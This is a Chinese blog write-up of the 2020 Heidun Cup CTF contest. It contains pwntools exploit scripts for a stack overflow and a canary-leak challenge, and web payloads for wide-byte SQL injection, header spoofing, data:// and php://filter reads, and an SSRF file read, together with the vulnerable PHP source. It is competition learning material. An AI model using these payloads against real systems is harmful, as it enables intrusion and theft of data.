2020黑盾杯wp

本文最后更新于:2020年9月14日 上午

1.前言

这次省赛虽然我们的战队拿到了第五名(二等奖的好成绩),但是总体的比赛质量还有待商榷,ctf夺旗比赛的题目发现了部分原题。

但是总算打了awd(这次开赛时间贼晚。。。。。。),真是有趣,第一次打有点慌乱,好在结果是好的。

1.pwn

1.pwn_cmcc_stack

1
2
3
4
5
6
7
8
from pwn import *
context.log_level = 'debug'
#p = process('./bin')#p = remote('192.168.5.11',22987)
p = remote('172.1.51.10',8888)
payload = b'A'*0x64 + p32(0xdeadbeef)
p.send(payload)
p.interactive()

2.pwn_pwn_canary

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.log_level = 'debug'

#p = process('./canary')
p = remote('172.1.51.11',8888)
p.sendline('%7$x')
can = int(p.recv(),16)
payload = b'a'*100
payload += p32(can) +b'b'*0xc + p32(0x0804863d)
p.sendline(payload)
#p.recv()
p.interactive()

2.web

1.web_greatctf

X-Forwarded-For: 127.0.0.1 绕过只能本地访问权限。

这一题存在宽字节注入

payload:username=1%df'||1=1#&password=1

访问对应目录,发现存在swp

还原后得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$argv[1]=$_GET['a'];
if(filter_var($argv[1],FILTER_VALIDATE_URL))
{
$r = parse_url($argv[1]);
print_r($r);
if(preg_match('/great\.ctf$/',$r['host']))
{
$a=file_get_contents($argv[1]);
echo($a);
}else
{
echo("error");
}

}else
{
echo "Error:Invalid URL; WhereIsSourceCode ";
}
?>

通过data伪协议可以绕过filter_var函数。

1
data://great.ctf/plain;base64,L2ZsYWcudHh0

尝试,发现无法读取/flag.txt文件。应该是目标没有配置。

当传入一个不明协议 ,他会回调本地文件,读取根目录的flag的内容。

2.web_aurorawebsit

提示给了base64源码。

是一个文件上传页面

看样子是,条件竞争漏洞

一遍爆破发包,一遍用蚁剑连接。

3.web_eeasyweb

利用php伪协议解决。

payload:http://172.1.51.13/index.php?page=php://filter/convert.base64-encode/resource=flag.php

解个码得到flag。。。。。

4.web_simplebrowser

用base64解码一下

在search参数用file:///协议可以读取源码。

view-source:http://172.1.51.14/flag.php?search=file:///var/www/html/flag.ph%2570

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
error_reporting(0);
require_once('header.php');
require_once('./libs/Smarty.class.php');
/*
function filter($content)
{
if (strlen($content) >= 80) {
$smarty->display("string:"."00000000000");
return 1;
}
$blacklist = [' ', '\t', '\r', '\n', '"', '`'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
$smarty->display("string:"."111111111111");
return 1;
}
}
return 0;
}
*/

$smarty = new Smarty();
if (!empty($_GET['search']))
{
$content=$_GET['search'];
}
else
$content="http://www.baidu.com";
/*
if(filter($ip))
{
$smarty->display("string:"."00000000000");
die("0000000000000000");
}
*/

//$your_ip = $smarty->display("string:".$ip);
echo "<div class=\"container panel1\">
<div class=\"row\">
<div class=\"col-md-4\">
</div>
<div class=\"col-md-4\">
<div class=\"jumbotron pan\">
<div class=\"form-group log\">
<label><h2>访问结果 : ";

$pos = strpos($content,"php");
if($pos){
exit("denied");
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"$content");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
var_dump($result);
?>

审计了下,发现可以利用ssrf,在配合上面关于flag在数据库的提示,判断是ssrf打内网mysql

利用gopherus工具可以构造payload,再进行二次编码


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!